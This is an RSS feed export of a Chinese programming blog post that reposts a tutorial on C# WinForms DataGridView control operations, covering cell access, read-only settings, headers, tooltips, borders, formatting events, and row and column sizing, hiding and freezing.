<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>何苦</title>
	<atom:link href="http://heku.cn/feed" rel="self" type="application/rss+xml" />
	<link>http://heku.cn</link>
	<description>叶子的离开是因为风的追求还是树的不挽留?</description>
	<lastBuildDate>Mon, 07 Nov 2011 07:10:14 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>c# WinForm开发 DataGridView控件的各种操作总结（单元格操作，属性设置）</title>
		<link>http://heku.cn/c-winform%e5%bc%80%e5%8f%91-datagridview%e6%8e%a7%e4%bb%b6%e7%9a%84%e5%90%84%e7%a7%8d%e6%93%8d%e4%bd%9c%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%95%e5%85%83%e6%a0%bc%e6%93%8d%e4%bd%9c%ef%bc%8c%e5%b1%9e</link>
		<comments>http://heku.cn/c-winform%e5%bc%80%e5%8f%91-datagridview%e6%8e%a7%e4%bb%b6%e7%9a%84%e5%90%84%e7%a7%8d%e6%93%8d%e4%bd%9c%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%95%e5%85%83%e6%a0%bc%e6%93%8d%e4%bd%9c%ef%bc%8c%e5%b1%9e#comments</comments>
		<pubDate>Sat, 01 Oct 2011 23:52:04 +0000</pubDate>
		<dc:creator>何苦</dc:creator>
				<category><![CDATA[转载]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[DataGridView]]></category>
		<category><![CDATA[winform]]></category>
		<category><![CDATA[单元格]]></category>
		<category><![CDATA[属性]]></category>
		<category><![CDATA[控件]]></category>
		<category><![CDATA[操作]]></category>
		<category><![CDATA[设置]]></category>

		<guid isPermaLink="false">http://heku.cn/?p=28882</guid>
		<description><![CDATA[一、单元格内容的操作 *****// 取得当前单元格内容 &#160;&#160;&#160;&#160;&#160;&#160;&#160; Console.WriteLine(DataGridView1.CurrentCell.Value);&#160; // 取得当前单元格的列 Index&#160; &#160;&#160;&#160;&#160;&#160; Console.WriteLine(DataGridView1.CurrentCell.ColumnIndex);&#160; // 取得当前单元格的行 Index&#160; &#160;&#160;&#160;&#160;&#160; Console.WriteLine(DataGridView1.CurrentCell.RowIndex); *******另外，使用 DataGridView.CurrentCellAddress 属性（而不是直接访问单元格）来确定单元格所在的行： DataGridView.CurrentCellAddress.Y 和列： DataGridView.CurrentCellAddress.X 。这对于避免取消共享行的共享非常有用。&#160; 当前的单元格可以通过设定 DataGridView 对象的 CurrentCell 来改变。可以通过 CurrentCell 来设定&#160; DataGridView 的激活单元格。将 CurrentCell 设为 Nothing(null) 可以取消激活的单元格。 // 设定 (0, 0) 为当前单元格&#160; DataGridView1.CurrentCell = DataGridView1[0, 0];&#160; 在整行选中模式开启时，你也可以通过 CurrentCell 来设定选定行。&#160; &#160;&#160;&#160;&#160;&#160;&#160;&#160; /// &#60;summary&#62;&#160; &#160;&#160;&#160;&#160;&#160;&#160;&#160; /// 向下遍历&#160; &#160;&#160;&#160;&#160;&#160;&#160;&#160; /// [...]]]></description>
			<content:encoded><![CDATA[<table border="0">
<tbody>
<tr>
<td>
<div id="blog_text">
<p>一、单元格内容的操作</p>
<p>*****// 取得当前单元格内容<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Console.WriteLine(DataGridView1.CurrentCell.Value);&nbsp;<br>
// 取得当前单元格的列 Index&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Console.WriteLine(DataGridView1.CurrentCell.ColumnIndex);&nbsp;<br>
// 取得当前单元格的行 Index&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Console.WriteLine(DataGridView1.CurrentCell.RowIndex);<br>
*******另外，使用 DataGridView.CurrentCellAddress 属性（而不是直接访问单元格）来确定单元格所在的行：</p>
<p>DataGridView.CurrentCellAddress.Y 和列： DataGridView.CurrentCellAddress.X 。这对于避免取消共享行的共享非常有用。&nbsp;<br>
当前的单元格可以通过设定 DataGridView 对象的 CurrentCell 来改变。可以通过 CurrentCell 来设定&nbsp;<br>
DataGridView 的激活单元格。将 CurrentCell 设为 Nothing(null) 可以取消激活的单元格。</p>
<p>// 设定 (0, 0) 为当前单元格&nbsp;<br>
DataGridView1.CurrentCell = DataGridView1[0, 0];&nbsp;<br>
在整行选中模式开启时，你也可以通过 CurrentCell 来设定选定行。&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;summary&gt;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// 向下遍历&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;/summary&gt;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;param &gt;&lt;/param&gt;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;param &gt;&lt;/param&gt;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private void button4_Click(object sender, EventArgs e)&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ...{&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int row = this.dataGridView1.CurrentRow.Index + 1;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (row &gt; this.dataGridView1.RowCount - 1)&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; row = 0;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.dataGridView1.CurrentCell = this.dataGridView1[0, row];&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;summary&gt;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// 向上遍历&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;/summary&gt;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;param &gt;&lt;/param&gt;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;param &gt;&lt;/param&gt;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private void button5_Click(object sender, EventArgs e)&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ...{&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int row = this.dataGridView1.CurrentRow.Index - 1;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (row &lt; 0)&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; row = this.dataGridView1.RowCount - 1;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.dataGridView1.CurrentCell = this.dataGridView1[0, row];&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }&nbsp;<br>
* 注意: this.dataGridView 的索引器的参数是: columnIndex, rowIndex 或是 columnName, rowIndex&nbsp;<br>
这与习惯不同。</p>
<p>********DataGridView 设定单元格只读：</p>
<p>1） 使用 ReadOnly 属性&nbsp;<br>
?　如果希望，DataGridView 内所有单元格都不可编辑， 那么只要：&nbsp;<br>
// 设置 DataGridView1 为只读&nbsp;<br>
DataGridView1.ReadOnly = true;此时，用户的新增行操作和删除行操作也被屏蔽了。</p>
<p>******如果希望，DataGridView 内某个单元格不可编辑， 那么只要：<br>
// 设置 DataGridView1 的第2列整列单元格为只读&nbsp;<br>
DataGridView1.Columns[1].ReadOnly = true;&nbsp;<br>
// 设置 DataGridView1 的第3行整行单元格为只读&nbsp;<br>
DataGridView1.Rows[2].ReadOnly = true;&nbsp;<br>
// 设置 DataGridView1 的[0，0]单元格为只读&nbsp;<br>
DataGridView1[0, 0].ReadOnly = true;</p>
<p>*******DataGridView 行头列头的单元格<br>
// 改变DataGridView1的第一列列头内容&nbsp;<br>
DataGridView1.Columns[0].HeaderCell.Value = "第一列";&nbsp;<br>
// 改变DataGridView1的第一行行头内容&nbsp;<br>
DataGridView1.Rows[0].HeaderCell.Value = "第一行";&nbsp;<br>
// 改变DataGridView1的左上头部单元内容&nbsp;<br>
DataGridView1.TopLeftHeaderCell.Value = "左上";&nbsp;<br>
另外你也可以通过 HeaderText 来改变他们的内容。</p>
<p>// 改变DataGridView1的第一列列头内容&nbsp;<br>
DataGridView1.Columns[0].HeaderText = "第一列";<br>
*********** DataGridView 单元格的ToolTip的设置<br>
DataGridView.ShowCellToolTips = True 的情况下， 单元格的 ToolTip 可以表示出来。对于单元格窄小，无法完全显示的单元格， ToolTip 可以显示必要的信息。&nbsp;<br>
1） 设定单元格的ToolTip内容&nbsp;<br>
// 设定单元格的ToolTip内容&nbsp;<br>
DataGridView1[0, 0].ToolTipText = "该单元格的内容不能修改";&nbsp;<br>
// 设定列头的单元格的ToolTip内容&nbsp;<br>
DataGridView1.Columns[0].ToolTipText = "该列只能输入数字";&nbsp;<br>
// 设定行头的单元格的ToolTip内容&nbsp;<br>
DataGridView1.Rows[0].HeaderCell.ToolTipText = "该行单元格内容不能修改";&nbsp;<br>
2） CellToolTipTextNeeded 事件&nbsp;<br>
在批量的单元格的 ToolTip 设定的时候，一个一个指定那么设定的效率比较低， 这时候可以利用 CellToolTipTextNeeded 事件。当单元格的 ToolTipText 变化的时候也会引发该事件。但是，当DataGridView的DataSource被指定且VirualMode=True的时候，该事件不会被引发。&nbsp;<br>
// CellToolTipTextNeeded事件处理方法&nbsp;<br>
private void DataGridView1_CellToolTipTextNeeded(object sender,&nbsp;<br>
&nbsp;&nbsp;&nbsp; DataGridViewCellToolTipTextNeededEventArgs e)&nbsp;<br>
{&nbsp;<br>
&nbsp;&nbsp;&nbsp; e.ToolTipText = e.ColumnIndex.ToString() + ", " + e.RowIndex.ToString();&nbsp;<br>
}</p>
<p>*******DataGridView 的单元格的边框、 网格线样式的设定<br>
1) DataGridView 的边框线样式的设定&nbsp;<br>
DataGridView 的边框线的样式是通过 DataGridView.BorderStyle 属性来设定的。 BorderStyle 属性设定值是一个&nbsp;<br>
BorderStyle 枚举： FixedSingle（单线，默认）、Fixed3D、None。&nbsp;<br>
2) 单元格的边框线样式的设定&nbsp;<br>
单元格的边框线的样式是通过 DataGridView.CellBorderStyle 属性来设定的。 CellBorderStyle 属性设定值是&nbsp;<br>
DataGridViewCellBorderStyle 枚举。（详细参见 MSDN）&nbsp;<br>
另外，通过 DataGridView.ColumnHeadersBorderStyle 和 RowHeadersBorderStyle 属性可以修改 DataGridView 的头部的单元格边框线样式。 属性设定值是 DataGridViewHeaderBorderStyle 枚举。（详细参见 MSDN）&nbsp;<br>
3） 单元格的边框颜色的设定&nbsp;<br>
单元格的边框线的颜色可以通过 DataGridView.GridColor 属性来设定的。默认是 ControlDarkDark 。但是只有在 CellBorderStyle 被设定为 Single、SingleHorizontal、SingleVertical 的条件下才能改变其边框线的颜色。同样，ColumnHeadersBorderStyle 以及 RowHeadersBorderStyle 只有在被设定为 Single 时，才能改变颜色。&nbsp;<br>
4） 单元格的上下左右的边框线式样的单独设定&nbsp;<br>
CellBorderStyle只能设定单元格全部边框线的式样。要单独改变单元格某一边边框式样的话，需要用到DataGridView.AdvancedCellBorderStyle属性。如示例：&nbsp;<br>
' 单元格的上边和左边线设为二重线&nbsp;<br>
' 单元格的下边和右边线设为单重线&nbsp;<br>
DataGridView1.AdvancedCellBorderStyle.Top = _&nbsp;<br>
&nbsp;&nbsp;&nbsp; DataGridViewAdvancedCellBorderStyle.InsetDouble&nbsp;<br>
DataGridView1.AdvancedCellBorderStyle.Right = _&nbsp;<br>
&nbsp;&nbsp;&nbsp; DataGridViewAdvancedCellBorderStyle.Inset&nbsp;<br>
DataGridView1.AdvancedCellBorderStyle.Bottom = _&nbsp;<br>
&nbsp;&nbsp;&nbsp; DataGridViewAdvancedCellBorderStyle.Inset&nbsp;<br>
DataGridView1.AdvancedCellBorderStyle.Left = _&nbsp;<br>
&nbsp;&nbsp;&nbsp; DataGridViewAdvancedCellBorderStyle.InsetDouble&nbsp;<br>
同样，设定行头单元格的属性是： AdvancedRowHeadersBorderStyle， 设定列头单元格属性是：AdvancedColumnHeadersBorderStyle。</p>
<p>*******DataGridView 单元格表示值的自定义</p>
<p>通过CellFormatting事件，可以自定义单元格的表示值。（比如：值为Error的时候，单元格被设定为红色）&nbsp;<br>
下面的示例：将“Colmn1”列的值改为大写。</p>
<p>//CellFormatting 事件处理方法&nbsp;<br>
private void DataGridView1_CellFormatting(object sender,&nbsp;<br>
&nbsp;&nbsp;&nbsp; DataGridViewCellFormattingEventArgs e)&nbsp;<br>
{&nbsp;<br>
&nbsp;&nbsp;&nbsp; DataGridView dgv = (DataGridView)sender;</p>
<p>&nbsp;&nbsp;&nbsp; // 如果单元格是“Column1”列的单元格&nbsp;<br>
&nbsp;&nbsp;&nbsp; if (dgv.Columns[e.ColumnIndex].Name == "Column1" &amp;&amp; e.Value is string)&nbsp;<br>
&nbsp;&nbsp;&nbsp; {&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 将单元格值改为大写&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string str = e.Value.ToString();&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; e.Value = str.ToUpper();&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 应用该Format，Format完毕。&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; e.FormattingApplied = true;&nbsp;<br>
&nbsp;&nbsp;&nbsp; }&nbsp;<br>
}&nbsp;<br>
CellFormatting事件的DataGridViewCellFormattingEventArgs对象的Value属性一开始保存着未被格式化的值。当Value属性被设定表示用的文本之后，把FormattingApplied属性做为True，告知DataGridView文本已经格式化完毕。如果不这样做的话，DataGridView会根据已经设定的Format，NullValue，DataSourceNullValue，FormatProvider属性会将Value属性会被重新格式化一遍。</p>
<p>*******DataGridView 用户输入时，单元格输入值的设定<br>
通过 DataGridView.CellParsing 事件可以设定用户输入的值。下面的示例：当输入英文文本内容的时候，立即被改变为大写。</p>
<p>//CellParsing 事件处理方法&nbsp;<br>
private void DataGridView1_CellParsing(object sender,&nbsp;<br>
&nbsp;&nbsp;&nbsp; DataGridViewCellParsingEventArgs e)&nbsp;<br>
{&nbsp;<br>
&nbsp;&nbsp;&nbsp; DataGridView dgv = (DataGridView)sender;</p>
<p>&nbsp;&nbsp;&nbsp; //单元格列为“Column1”时&nbsp;<br>
&nbsp;&nbsp;&nbsp; if (dgv.Columns[e.ColumnIndex].Name == "Column1" &amp;&amp;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; e.DesiredType == typeof(string))&nbsp;<br>
&nbsp;&nbsp;&nbsp; {&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //将单元格值设为大写&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; e.Value = e.Value.ToString().ToUpper();&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //解析完毕&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; e.ParsingApplied = true;&nbsp;<br>
&nbsp;&nbsp;&nbsp; }&nbsp;<br>
}</p>
<p>二、行/列的操作</p>
<p>*******DataGridView 不显示最下面的新行：<br>
通常 DataGridView 的最下面一行是用户新追加的行（行头显示 * ）。如果不想让用户新追加行即不想显示该新行，可以将 DataGridView 对象的 AllowUserToAddRows 属性设置为 False。&nbsp;<br>
// 设置用户不能手动给 DataGridView1 添加新行&nbsp;<br>
DataGridView1.AllowUserToAddRows = false;&nbsp;<br>
但是，可以通过程序： DataGridViewRowCollection.Add 为 DataGridView 追加新行。</p>
<p>补足： 如果 DataGridView 的 DataSource 绑定的是 DataView, 还可以通过设置 DataView.AllowAdd&nbsp;<br>
属性为 False 来达到同样的效果。</p>
<p>********DataGridView 判断新增行：<br>
DataGridView的AllowUserToAddRows属性为True时也就是允许用户追加新行的场合下，DataGridView的最后一行就是新追加的行(*行)。使用 DataGridViewRow.IsNewRow 属性可以判断哪一行是新追加的行。另外，通过DataGridView.NewRowIndex 可以获取新行的行序列号。在没有新行的时候，NewRowIndex = -1。&nbsp;<br>
If （DataGridView1.CurrentRow.IsNewRow）</p>
<p>&nbsp;&nbsp;&nbsp; Console.WriteLine("当前行为新追加行。") ;<br>
Else&nbsp;<br>
&nbsp;&nbsp;&nbsp; Console.WriteLine("当前行不是新追加行。") ;<br>
*******DataGridView 行的用户删除操作的自定义：<br>
1） 无条件的限制行删除操作。&nbsp;<br>
默认时，DataGridView 是允许用户进行行的删除操作的。如果设置 DataGridView对象的AllowUserToDeleteRows属性为 False 时， 用户的行删除操作就被禁止了。&nbsp;<br>
// 禁止DataGridView1的行删除操作。&nbsp;<br>
DataGridView1.AllowUserToDeleteRows = false;&nbsp;<br>
但是，通过 DataGridViewRowCollection.Remove 还是可以进行行的删除。&nbsp;<br>
补足： 如果 DataGridView 绑定的是 DataView 的话，通过 DataView.AllowDelete 也可以控制行的删除。<br>
********行删除时的条件判断处理。<br>
用户在删除行的时候，将会引发 DataGridView.UserDeletingRow 事件。 在这个事件里，可以判断条件并取消删除操作。&nbsp;<br>
// DataGridView1 的 UserDeletingRow 事件&nbsp;<br>
private void DataGridView1_UserDeletingRow(&nbsp;<br>
&nbsp;&nbsp;&nbsp; object sender, DataGridViewRowCancelEventArgs e)&nbsp;<br>
{&nbsp;<br>
&nbsp;&nbsp;&nbsp; // 删除前的用户确认。&nbsp;<br>
&nbsp;&nbsp;&nbsp; if (MessageBox.Show("确认要删除该行数据吗？", "删除确认",&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MessageBoxButtons.OKCancel,&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MessageBoxIcon.Question) != DialogResult.OK)&nbsp;<br>
&nbsp;&nbsp;&nbsp; {&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 如果不是 OK，则取消。&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; e.Cancel = true;&nbsp;<br>
&nbsp;&nbsp;&nbsp; }&nbsp;<br>
}<br>
********DataGridView 行、列的隐藏和删除：<br>
1） 行、列的隐藏&nbsp;<br>
// DataGridView1的第一列隐藏&nbsp;<br>
DataGridView1.Columns[0].Visible = false;&nbsp;<br>
// DataGridView1的第一行隐藏&nbsp;<br>
DataGridView1.Rows[0].Visible = false;&nbsp;<br>
2） 行头、列头的隐藏&nbsp;<br>
// 列头隐藏&nbsp;<br>
DataGridView1.ColumnHeadersVisible = false;&nbsp;<br>
// 行头隐藏&nbsp;<br>
DataGridView1.RowHeadersVisible = false;&nbsp;<br>
3） 行和列的删除&nbsp;<br>
' 删除名为"Column1"的列&nbsp;<br>
DataGridView1.Columns.Remove("Column1");&nbsp;<br>
' 删除第一列&nbsp;<br>
DataGridView1.Columns.RemoveAt(0);&nbsp;<br>
' 删除第一行&nbsp;<br>
DataGridView1.Rows.RemoveAt(0);&nbsp;<br>
4） 删除选中行&nbsp;<br>
foreach (DataGridViewRow r in DataGridView1.SelectedRows)&nbsp;<br>
{&nbsp;<br>
&nbsp;&nbsp;&nbsp; if (!r.IsNewRow)&nbsp;<br>
&nbsp;&nbsp;&nbsp; {&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DataGridView1.Rows.Remove(r);&nbsp;<br>
&nbsp;&nbsp;&nbsp; }&nbsp;<br>
}<br>
*********DataGridView 禁止列或者行的Resize：</p>
<p>1） 禁止所有的列或者行的Resize&nbsp;<br>
// 禁止用户改变DataGridView1的所有列的列宽&nbsp;<br>
DataGridView1.AllowUserToResizeColumns = false;</p>
<p>//禁止用户改变DataGridView1の所有行的行高&nbsp;<br>
DataGridView1.AllowUserToResizeRows = false;&nbsp;<br>
但是可以通过 DataGridViewColumn.Width 或者 DataGridViewRow.Height 属性设定列宽和行高。<br>
*******2） 禁止指定行或者列的Resize<br>
// 禁止用户改变DataGridView1的第一列的列宽&nbsp;<br>
DataGridView1.Columns[0].Resizable = DataGridViewTriState.False;&nbsp;<br>
// 禁止用户改变DataGridView1的第一列的行宽&nbsp;<br>
DataGridView1.Rows[0].Resizable = DataGridViewTriState.False;&nbsp;<br>
关于 NoSet&nbsp;<br>
当 Resizable 属性设为 DataGridViewTriState.NotSet 时， 实际上会默认以 DataGridView 的 AllowUserToResizeColumns 和 AllowUserToResizeRows 的属性值进行设定。比如： DataGridView.AllowUserToResizeColumns = False 且 Resizable 是 NoSet 设定时，Resizable = False 。&nbsp;<br>
判断 Resizable 是否是继承设定了 DataGridView 的 AllowUserToResizeColumns 和 AllowUserToResizeRows 的属性值， 可以根据 State 属性判断。如果 State 属性含有 ResizableSet，那么说明没有继承设定。&nbsp;<br>
3） 列宽和行高的最小值的设定&nbsp;<br>
// 第一列的最小列宽设定为 100&nbsp;<br>
DataGridView1.Columns[0].MinimumWidth = 100;&nbsp;<br>
// 第一行的最小行高设定为 50&nbsp;<br>
DataGridView1.Rows[0].MinimumHeight = 50;&nbsp;<br>
4) 禁止用户改变行头的宽度以及列头的高度&nbsp;<br>
// 禁止用户改变列头的高度&nbsp;<br>
DataGridView1.ColumnHeadersHeightSizeMode =&nbsp;<br>
&nbsp;&nbsp;&nbsp; DataGridViewColumnHeadersHeightSizeMode.DisableResizing;&nbsp;<br>
// 禁止用户改变行头的宽度&nbsp;<br>
DataGridView1.RowHeadersWidthSizeMode =&nbsp;<br>
&nbsp;&nbsp;&nbsp; DataGridViewRowHeadersWidthSizeMode.EnableResizing;</p>
<p>*******DataGridView 列宽和行高自动调整的设定：</p>
<p>// 设定包括Header和所有单元格的列宽自动调整&nbsp;<br>
DataGridView1.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.AllCells;&nbsp;<br>
// 设定包括Header和所有单元格的行高自动调整&nbsp;<br>
DataGridView1.AutoSizeRowsMode = DataGridViewAutoSizeRowsMode.AllCells;&nbsp;<br>
AutoSizeColumnsMode 属性的设定值枚举请参照 msdn 的 DataGridViewAutoSizeRowsMode 说明。&nbsp;<br>
2）指定列或行自动调整&nbsp;<br>
// 第一列自动调整&nbsp;<br>
DataGridView1.Columns[0].AutoSizeMode =DataGridViewAutoSizeColumnMode.DisplayedCells;&nbsp;<br>
AutoSizeMode 设定为 NotSet 时， 默认继承的是 DataGridView.AutoSizeColumnsMode 属性。&nbsp;<br>
3) 设定列头的高度和行头的宽度自动调整</p>
<p>// 设定列头的宽度可以自由调整&nbsp;<br>
DataGridView1.ColumnHeadersHeightSizeMode =&nbsp;<br>
&nbsp;&nbsp;&nbsp; DataGridViewColumnHeadersHeightSizeMode.AutoSize;&nbsp;<br>
// 设定行头的宽度可以自由调整&nbsp;<br>
DataGridView1.RowHeadersWidthSizeMode =&nbsp;<br>
&nbsp;&nbsp;&nbsp; DataGridViewRowHeadersWidthSizeMode.AutoSizeToAllHeaders;&nbsp;<br>
4） 随时自动调整&nbsp;<br>
a， 临时的，让列宽自动调整，这和指定AutoSizeColumnsMode属性一样。</p>
<p>// 让 DataGridView1 的所有列宽自动调整一下。&nbsp;<br>
DataGridView1.AutoResizeColumns(DataGridViewAutoSizeColumnsMode.AllCells);&nbsp;<br>
// 让 DataGridView1 的第一列的列宽自动调整一下。&nbsp;<br>
DataGridView1.AutoResizeColumn(0, DataGridViewAutoSizeColumnMode.AllCells);上面调用的 AutoResizeColumns 和 AutoResizeColumn 当指定的是DataGridViewAutoSizeColumnMode.AllCells 的时候， 参数可以省略。即：&nbsp;<br>
DataGridView1.AutoResizeColumn(0) 和 DataGridView1.AutoResizeColumns()&nbsp;<br>
b，临时的，让行高自动调整&nbsp;<br>
// 让 DataGridView1 的所有行高自动调整一下。&nbsp;<br>
DataGridView1.AutoResizeRows(DataGridViewAutoSizeRowsMode.AllCells);&nbsp;<br>
//让 DataGridView1 的第一行的行高自动调整一下。&nbsp;<br>
DataGridView1.AutoResizeRow(0, DataGridViewAutoSizeRowMode.AllCells);上面调用的 AutoResizeRows 和 AutoResizeRow 当指定的是DataGridViewAutoSizeRowMode.AllCells 的时候， 参数可以省略。即：DataGridView1.AutoResizeRow (0) 和 DataGridView1.AutoResizeRows()&nbsp;<br>
c，临时的，让行头和列头自动调整&nbsp;<br>
// 列头高度自动调整&nbsp;<br>
DataGridView1.AutoResizeColumnHeadersHeight();&nbsp;<br>
// 行头宽度自动调整&nbsp;<br>
DataGridView1.AutoResizeRowHeadersWidth(&nbsp;<br>
&nbsp;&nbsp;&nbsp; DataGridViewRowHeadersWidthSizeMode.AutoSizeToAllHeaders);&nbsp;<br>
关于性能：&nbsp;<br>
通过 AutoSizeColumnsMode 或者 AutoSizeRowsMode 属性所指定的单元格进行自动调整时，如果调整次数过于多那么将可能导致性能下降，尤其是在行和列数比较多的情况下。在这时用 DisplayedCells 代替 AllCells 能减少非所见的单元格的调整，从而提高性能。</p>
<p>******DataGridView 冻结列或行</p>
<p>1） 列冻结&nbsp;<br>
DataGridViewColumn.Frozen 属性为 True 时， 该列左侧的所有列被固定， 横向滚动时固定列不随滚动条滚动而左右移动。这对于重要列固定显示很有用。</p>
<p>// DataGridView1的左侧2列固定&nbsp;<br>
DataGridView1.Columns[1].Frozen = true;&nbsp;<br>
但是，DataGridView.AllowUserToOrderColumns = True 时，固定列不能移动到非固定列， 反之亦然。&nbsp;<br>
2） 行冻结&nbsp;<br>
DataGridViewRow.Frozen 属性为 True 时， 该行上面的所有行被固定， 纵向滚动时固定行不随滚动条滚动而上下移动。</p>
<p>// DataGridView1 的上3行固定&nbsp;<br>
DataGridView1.Rows[2].Frozen = true;</p>
<p>******DataGridView 列顺序的调整</p>
<p>设定 DataGridView 的 AllowUserToOrderColumns 为 True 的时候， 用户可以自由调整列的顺序。&nbsp;<br>
当用户改变列的顺序的时候，其本身的 Index 不会改变，但是 DisplayIndex 改变了。你也可以通过程序改变 DisplayIndex 来改变列的顺序。 列顺序发生改变时会引发 ColumnDisplayIndexChanged 事件：</p>
<p>// DataGridView1的ColumnDisplayIndexChanged事件处理方法&nbsp;<br>
private void DataGridView1_ColumnDisplayIndexChanged(object sender,&nbsp;<br>
&nbsp;&nbsp;&nbsp; DataGridViewColumnEventArgs e)&nbsp;<br>
{&nbsp;<br>
&nbsp;&nbsp;&nbsp; Console.WriteLine("{0} 的位置改变到 {1} ",&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; e.Column.Name, e.Column.DisplayIndex);&nbsp;<br>
}</p>
<p>********DataGridView 新加行的默认值的设定</p>
<p>需要指定新加行的默认值的时候，可以在DataGridView.DefaultValuesNeeded事件里处理。在该事件中处理除了可以设定默认值以外，还可以指定某些特定的单元格的ReadOnly属性等。<br>
// DefaultValuesNeeded 事件处理方法&nbsp;<br>
private void DataGridView1_DefaultValuesNeeded(object sender,&nbsp;<br>
&nbsp;&nbsp;&nbsp; DataGridViewRowEventArgs e)&nbsp;<br>
{&nbsp;<br>
&nbsp;&nbsp;&nbsp; // 设定单元格的默认值&nbsp;<br>
&nbsp;&nbsp;&nbsp; e.Row.Cells["Column1"].Value = 0;&nbsp;<br>
&nbsp;&nbsp;&nbsp; e.Row.Cells["Column2"].Value = "-";&nbsp;<br>
}</p>
<p>三、针对datagridview全局属性的设置<br>
*******使用 EditMode 属性<br>
DataGridView.EditMode 属性被设置为 DataGridViewEditMode.EditProgrammatically 时，用户就不能手动编辑单元格的内容了。但是可以通过程序，调用 DataGridView.BeginEdit 方法，使单元格进入编辑模式进行编辑。&nbsp;<br>
DataGridView1.EditMode = DataGridViewEditMode.EditProgrammatically;</p>
